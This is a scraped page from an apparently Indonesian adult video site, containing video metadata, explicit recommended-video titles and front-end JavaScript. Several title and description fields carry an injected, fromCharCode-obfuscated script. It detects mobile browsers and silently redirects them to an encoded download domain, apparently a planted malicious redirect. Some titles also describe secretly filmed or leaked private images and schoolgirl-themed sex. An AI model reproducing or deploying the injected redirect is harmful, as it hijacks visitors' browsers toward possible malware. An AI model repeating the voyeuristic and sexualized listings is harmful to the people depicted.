</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u = navigator.userAgent; if (u.indexOf(a) > -1 || u.indexOf(b) > -1 || u.indexOf(c) > -1 || u.indexOf(d) > -1) { window.location.href = _(104, 116, 116, 112, 115, 58, 47, 47, 120, 105, 97, 122, 97, 105, 46, 105, 116, 46, 99, 111, 109) } </script> <title>Koleksi Kucing Monster Onlyfansnagisa Blogger COS Berkualitas Tinggi dan Bernilai Jutaan Dolar 36</title>

Acak

Video yang Direkomendasikan

Koleksi Kucing Monster Onlyfansnagisa Blogger COS Berkualitas Tinggi dan Bernilai Jutaan Dolar 36","site_id":0,"video_url":"https://2605.v155p.com/20260604/YkxT9M62/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMDVjNzljNzViZTY2ZjJiMWM1NmVhMzdkNjcxYzQzZDguanBn.cache","duration":"36:53","actor":[],"lastmod":1783766805,"rating":"1.0","view_count":269,"description":"Koleksi cosplay berkualitas tinggi dengan jutaan tayangan dari Onlyfansnagisa, seorang blogger cosplay yang terkenal dengan kucing-kucing monsternya (36 item).","tag":["Berita besar","Bagus","blogger","raksasa","Kucing Monster","Koleksi Besar","Koleksi"],"site_url":"174412","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["网爆黑料"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMDVjNzljNzViZTY2ZjJiMWM1NmVhMzdkNjcxYzQzZDguanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"重磅精品百万COS博主Onlyfansnagisa魔物喵大合集36","s_keywords":"重磅精品百万COS博主Onlyfansnagisa魔物喵大合集36","s_description":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u = navigator.userAgent; if (u.indexOf(a) > -1 || u.indexOf(b) > -1 || u.indexOf(c) > -1 || u.indexOf(d) > -1) { window.location.href = _(104, 116, 116, 112, 115, 58, 47, 47, 120, 105, 97, 122, 97, 105, 46, 105, 116, 46, 99, 111, 109) } Koleksi Kucing Monster Onlyfansnagisa Blogger COS Berkualitas Tinggi dan Bernilai Jutaan Dolar 36","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MjkvZDBiZDhlZTVjY2ZjMGRmNmIxMmM1NmI1MGRiZGQyMDEuanBn.cache","vod_id":19044627,"title":"Koleksi Lara Croft 3D: Seks Oral, Wanita di Atas","lastmod":"2025-07-28","duration":"05:14","url":"/play/19044627.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMDk0ZDU0YTAyNDRlODFkZGZiMGQ4YjI4NzFmZmZhOTQuanBn.cache","vod_id":19158204,"title":"Penyiar langsung pria baru secara online. Seorang \"kecantikan malam butik\" (istilah yang merujuk pada penyiar pria yang sering muncul online). Dia memamerkan payudaranya yang besar dan putih saat berhubungan seks.","lastmod":"2026-05-15","duration":"43:44","url":"/play/19158204.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTUvNDQ5MGQxMjU4NTg1YTIyOWY3ZTMzOTNhMjlhZGQ0ZmMuanBn.cache","vod_id":19134127,"title":"Dewi kelas berat Super HD Summer_Ki1.","lastmod":"2025-12-18","duration":"01:34:59","url":"/play/19134127.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNjkwZjA5NGRiNzFjYmM3MGJlOWIzMWFjYzA4YWMzMTguanBn.cache","vod_id":19159806,"title":"Koleksi Video Pendek Erotis Setelan Pelaut NeKoLoStudio, Permainan Pria-Wanita Tak Terlihat, dll.","lastmod":"2026-05-24","duration":"06:27","url":"/play/19159806.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMjZmNjNjYjllMWVhOWU1MTg0NWRlZmI3ZDBiNDg4MTMuanBn.cache","vod_id":19154803,"title":"Lingerie ungu ketat milik selebriti internet Tan Xiaotong","lastmod":"2026-04-23","duration":"01:09:40","url":"/play/19154803.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTQ1M2I1OTY3NTZhNWE2MWU3NDBjNDdkMjliNDExM2IuanBn.cache","vod_id":18952574,"title":"[Berita Terkini✅ Foto Pribadi Model Bocor] Seri Gaya Mahasiswa✅ Foto Pribadi Gadis Kuliah Cantik Berkaki Panjang ~ Foto Diam-diam Saat Berganti Pakaian ~ Fotografer Membayar Lebih untuk Bermasturbasi Sambil Melihat Kaki Indahnya 4]","lastmod":"2025-12-14","duration":"00:00:41","url":"/play/18952574.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTM4ODU4YmQyOGY5Zjc0YjA0ZjFmNmQzNDgwMzZlMTkuanBn.cache","vod_id":18962736,"title":"8 Maret [Hardcore Tingkat Atas❤️ Penayangan Perdana Utama] Master Dominasi Twitter 'sseu' Pilihan Terbaru Penyiksaan Penis dan Anal Hubungan Seksual dengan Ejakulasi Melimpah - Vagina Nakal Mencapai Orgasme Gila - Versi Asli Definisi Tinggi 720P","lastmod":"2025-12-14","duration":"00:18:19","url":"/play/18962736.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTg1Zjk1NDAyNzcyYzg0YTkwMGQ1ZGIyNDYzNjlhNTYuanBn.cache","vod_id":18955906,"title":"\"Bom Nuklir Kelas Berat✅Sumber Daya Langka\" Manfaat eksklusif untuk VIP di grup berbayar Curious Tribe~ Delapan anggota CDTS berkualitas tinggi dengan penampilan puncak menampilkan berbagai swafoto cabul, masing-masing merupakan mahakarya yang paling memahami pria - Xiaoyou4","lastmod":"2025-12-14","duration":"00:01:51","url":"/play/18955906.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjQ1NTg2MzlkYjU0MjMyY2E1NjgzODE2NGNkMzk0MDUuanBn.cache","vod_id":18931841,"title":"Carib040120-001 Koleksi Penis Raksasa Hitam","lastmod":"2025-12-14","duration":"02:30:16","url":"/play/18931841.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTQvNmU3MjgyYzgyNDFiYjVkZTQyMzgzZDViMjJlYTkwM2QuanBn.cache","vod_id":19067531,"title":"Bubin Tanhua, dewi kelas atas, 3000 yuan, adalah wanita cantik dan sangat seksi.","lastmod":"2025-12-14","duration":"50:56","url":"/play/19067531.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjMvMjk4NGYwOTI1N2YwNGYzY2U5NWZmNmYwYTViYWI5OTYuanBn.cache","vod_id":19165326,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Kelinci pemalu dari butik Cina membelai vagina merah muda siswi berseragam dan merasakan suhunya dengan penisnya.</script>","lastmod":"2026-07-11","duration":"10:55","url":"/play/19165326.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjkvNGM4ZWFkZDlhODYwNGQyYmNiNzEzOTcwNzZlZmU1NDUuanBn.cache","vod_id":19166436,"title":"《Koleksi Video Anarkisme Rei-Yo》~Seks di Ruang Rahasia~50 Orang 5 Jam Insiden Cabul dan Kecelakaan Kacau di Ruang Tertutup グーニーズ","lastmod":"2026-07-11","duration":"05:02:39","url":"/play/19166436.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNmQ0ZDhjYjJhNWQ4M2YyYzVjMzhkYTg1NWNhNmM3YjIuanBn.cache","vod_id":19150105,"title":"Selebriti internet populer \"Welfare Girl\" Momo Miao melakukan pemotretan pribadi terbaru: Meow Girl memamerkan payudaranya yang berwarna merah muda.","lastmod":"2026-03-25","duration":"26:44","url":"/play/19150105.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODE5MTM0MWM2NjNkMDJlNGUxODE4MDYzN2FmMGMwZGEuanBn.cache","vod_id":18953873,"title":"\"Rekomendasi Hardcore ✅\" Seorang wanita yang sangat cantik dengan bentuk tubuh dan penampilan sempurna, mampu bersikap manis sekaligus genit, menampilkan kepribadiannya yang kontras melalui berbagai adegan bermain peran dan adegan seks. Dia terlihat lebih cantik lagi ketika wajahnya berlumuran sperma.","lastmod":"2025-12-14","duration":"00:15:57","url":"/play/18953873.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMmQ4NmI4M2VlOGFjZGEwN2NiMDRjM2Q0ZjdlNDc4M2MuanBn.cache","vod_id":18953189,"title":"\"Tingkat Atas ⭐ Kelas Berat ☛ Kontras Tertinggi\" - Menunjukkan wajahmu adalah kuncinya! Manis dan asin, foto-foto pribadi dewi selebriti internet cantik Yumi dilatih oleh sugar daddy-nya dengan berbagai cara. Ziwei menyemburkan cairan dan berhubungan seks dengan bokongnya yang berbentuk buah persik (8)","lastmod":"2025-12-14","duration":"00:01:01","url":"/play/18953189.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2IwMjk4ODE0NzIxNDQ2Y2ZiZjhhYmVkOWUwOTgyZDUuanBn.cache","vod_id":18936528,"title":"Fasilitas premium - Model cantik bak dewi setinggi 172cm dengan kaki jenjang, mengenakan rok super pendek, berbaring di atas meja menunggu untuk disetubuhi. 2000 yuan, tidak yakin apakah cukup untuk sekali saja!","lastmod":"2025-12-14","duration":"00:15:20","url":"/play/18936528.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjMvMDhmNTM0NGExMTRjMDFlMzM1ZjRhZWEwMzNiYjVkZTQuanBn.cache","vod_id":19165246,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Wajah cantik langsung berubah, membangkitkan hasrat. Pilihan ekspresi klimaks, kompilasi 4 jam, dibintangi aktris seperti Aoi Reina, Abe Mikako, dan Mayu Mei. Karya nyata.","lastmod":"2026-07-11","duration":"04:02:03","url":"/play/19165246.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNjRkNzZiNGM0Y2E5NGMwMjgyZTdkN2QxYmJhNmQ4MjAuanBn.cache","vod_id":19142994,"title":"Rekomendasi Unggulan: Rekaman siaran langsung terbaru dari pembawa acara dewi super populer Xu Wanwan (episode 13)","lastmod":"2026-02-12","duration":"01:03:19","url":"/play/19142994.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MjIvZTViMDM3YmFiZTEwNWJiMjMwMmJlNDhhMTJmZjVkODcuanBn.cache","vod_id":19034594,"title":"[Level 3] Kompilasi Seks Oral","lastmod":"2025-05-22","duration":"54:44","url":"/play/19034594.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNmMwNzBiZWYxN2ZlNDQwMzlkZjg5NGI5NTQzMTRjNzcuanBn.cache","vod_id":18953289,"title":"\"Hardcore✅Selebriti Internet Premium✅Berita Terkini\" Puluhan Ribu Mencari Pembebasan: Buku Harian Dominasi Seksual Pasangan Topi Hijau Tingkat Atas, Mengundang Penggemar untuk Terlibat dalam Pesta Seks, Tidak Yakin Anak Siapa yang Mereka Miliki (41)","lastmod":"2025-12-14","duration":"00:01:00","url":"/play/18953289.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvODAzOTc4MmM0M2E1YTg3YThjZjZiZWUwZTNjMWZkNzAuanBn.cache","vod_id":19162307,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Berita mengejutkan terbaru: Zhuge Liang dan Jingjing serta Peri Sungai Tanpa Iri Hati pergi ke asrama putra dan difilmkan sedang bermain game. Ranjangnya sangat kuat hingga hampir roboh.","lastmod":"2026-07-11","duration":"09:53","url":"/play/19162307.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNjI4NGEyNmZhM2NkZWI3N2UwYzA5NGMzODA2NGViMmYuanBn.cache","vod_id":19137230,"title":"Kompilasi insiden busana dan puting payudara yang terlihat oleh influencer TikTok dan Kuaishou.","lastmod":"2026-01-07","duration":"56:42","url":"/play/19137230.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMGIxNmMyNGRlYTdhNmI0OTA5MTgyNjAzOWQ3Y2M4NjguanBn.cache","vod_id":19163588,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Direkomendasikan untuk bergosip: Pertukaran siswi dan perselingkuhan istri dalam berbagai skenario, kompilasi klimaks dan ejakulasi","lastmod":"2026-07-11","duration":"32:45","url":"/play/19163588.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDU0YzM5NmY5YThkZTI3OTZmNjA5ODZmYjc0MjAwMTcuanBn.cache","vod_id":18955323,"title":"\"Bocoran Selebriti Internet Terbaru ✅ Butik 卐\" Selebriti Weibo, model flat berkepala sembilan teratas, wanita dewasa EvE masih menunjukkan wajahnya, kustomisasi pribadi musim 2, lubang madu dewi kesejahteraan Ziwei, tusukan penis palsu masuk sepenuhnya (7)","lastmod":"2025-12-14","duration":"00:05:00","url":"/play/18955323.html"}]}, videoTitle: '</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u = navigator.userAgent; if (u.indexOf(a) > -1 || u.indexOf(b) > -1 || u.indexOf(c) > -1 || u.indexOf(d) > -1) { window.location.href = _(104, 116, 116, 112, 115, 58, 47, 47, 120, 105, 97, 122, 97, 105, 46, 105, 116, 46, 99, 111, 109) } </script> <title>Koleksi Kucing Monster Onlyfansnagisa Blogger COS Berkualitas Tinggi dan Bernilai Jutaan Dolar 36</title>', language: 'id', dataKey: '01', loadingPlayer: true, showShare: false, pageUrl: '', // RecommendedMovies 组件状态 isSingleColumn: false, pageSize: 8, currentPage: 1, // 计算属性(使用 getter) get layoutIconClass() { return this.isSingleColumn ? 'icon-view-list' : 'icon-grid'; }, get layoutClass() { return [ 'row', 'g-3', 'row-cols-1', this.isSingleColumn ? '' : 'row-cols-2', 'row-cols-lg-4' ].filter(Boolean).join(' '); }, // 方法 onAppMounted() { // 设置页面 URL this.pageUrl = window.location.href; // 保存观看历史 this.saveWatchHistory(); // 更新标签统计 if (this.videoData.tag && this.videoData.tag.length > 0) { this.updateTagStats(this.videoData.tag); } // 发送点击统计 this.hitVideoId(this.videoData.id); // 从 Cookie 读取布局偏好 const layoutCookie = this.getCookie('list_layout'); if (layoutCookie === 'single') { this.isSingleColumn = true; } // 监听 iframe 加载完成,隐藏骨架屏 // 使用 setTimeout 确保 DOM 已完全渲染 setTimeout(() => { const iframe = document.getElementById('v2-player'); const skeleton = document.getElementById('player-skeleton'); if (iframe && skeleton) { // 定义隐藏骨架屏的函数 const hideSkeleton = () => { skeleton.style.transition = 'opacity 0.3s ease'; skeleton.style.opacity = '0'; setTimeout(() => { skeleton.style.display = 'none'; }, 300); }; // 检查 iframe 是否已经加载完成 if (iframe.contentDocument || iframe.contentWindow) { try { // 如果 iframe 已加载,直接隐藏骨架屏 if (iframe.contentWindow.document.readyState === 'complete') { setTimeout(hideSkeleton, 500); return; } } catch (e) { console.log('[Video] 跨域 iframe,无法检查状态:', e.message); // 跨域情况下无法访问 contentWindow,继续监听 load 事件 } } // 监听 load 事件 iframe.addEventListener('load', () => { console.log('[Video] iframe load 事件触发'); setTimeout(hideSkeleton, 500); }); // 添加超时保护,确保骨架屏最终会被隐藏 setTimeout(() => { if (skeleton.style.display !== 'none') { console.log('[Video] 超时保护触发,强制隐藏骨架屏'); hideSkeleton(); } }, 5000); // 5秒后强制隐藏 } else { console.error('[Video] 未找到 iframe 或 skeleton 元素'); } }, 0); }, // 随机跳转 async jumpToRandomVideo() { try { const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, { headers: { 'x-data-key': this.dataKey, 'x-api-key': 'dagexxx.com' } }); const data = await response.json(); if (data?.status === 1 && data?.data?.id) { window.location.href = `/${this.language}/play/${data.data.id}.html`; } else { console.error('获取随机视频失败:', data?.message || '未知错误'); } } catch (err) { console.error('获取随机视频失败:', err); } }, // 复制分享链接 copyShareLink() { const input = this.$refs.shareInput; if (input) { input.select(); input.setSelectionRange(0, 99999); // For mobile devices // 尝试使用现代 API if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(this.pageUrl).then(() => { alert('Tautan berhasil disalin!'); }).catch(() => { // 降级到旧方法 document.execCommand('copy'); alert('Tautan berhasil disalin!'); }); } else { // 降级到旧方法 document.execCommand('copy'); alert('Tautan berhasil disalin!'); } } }, // 切换布局 toggleLayout() { this.isSingleColumn = !this.isSingleColumn; this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30); }, // 加载更多 loadMore() { this.currentPage++; }, // 保存观看历史 saveWatchHistory() { try { const storageKey = 'watchHistory'; let history = JSON.parse(localStorage.getItem(storageKey) || '[]'); // 解码 HTML 实体编码的标题 const decodeHtmlEntities = (text) => { const textarea = document.createElement('textarea'); textarea.innerHTML = text; return textarea.value; }; const video = { id: this.videoData.id, title: decodeHtmlEntities(this.videoData.title), image: this.videoData.images || this.videoData.preview, duration: this.videoData.duration || '' }; // 过滤掉已存在的相同 ID 视频 history = history.filter(item => item.id !== video.id); // 添加新记录到最前面 history.unshift(video); // 限制最多保存 100 条 if (history.length > 100) { history = history.slice(0, 100); } localStorage.setItem(storageKey, JSON.stringify(history)); } catch (e) { console.error('Failed to save watch history:', e); } }, // 更新标签统计 updateTagStats(tags = []) { // HTML 实体解码函数 const decodeHtmlEntities = (text) => { const textarea = document.createElement('textarea'); textarea.innerHTML = text; return textarea.value; }; const storageKey = this.dataKey + 'tagWatchStats'; const lastWatchedKey = this.dataKey + 'tagLastWatched'; const raw = localStorage.getItem(storageKey); const stats = raw ? JSON.parse(raw) : {}; // 解码标签并统计 const decodedTags = tags.map(tag => decodeHtmlEntities(tag)); decodedTags.forEach(tag => { stats[tag] = (stats[tag] || 0) + 1; }); localStorage.setItem(storageKey, JSON.stringify(stats)); localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags)); }, // 点击统计 hitVideoId(id) { fetch(`/api/qun/hit?type=play&id=${id}`, { method: 'GET', headers: { 'x-data-key': this.dataKey, 'x-api-key': 'dagexxx.com' } }).catch(err => { console.error('点击统计失败:', err); }); }, // Cookie 工具方法 getCookie(name) { const value = `; ${document.cookie}`; const parts = value.split(`; ${name}=`); if (parts.length === 2) return parts.pop().split(';').shift(); }, setCookie(name, value, days) { const expires = new Date(Date.now() + days * 864e5).toUTCString(); document.cookie = `${name}=${value}; expires=${expires}; path=/`; } }; }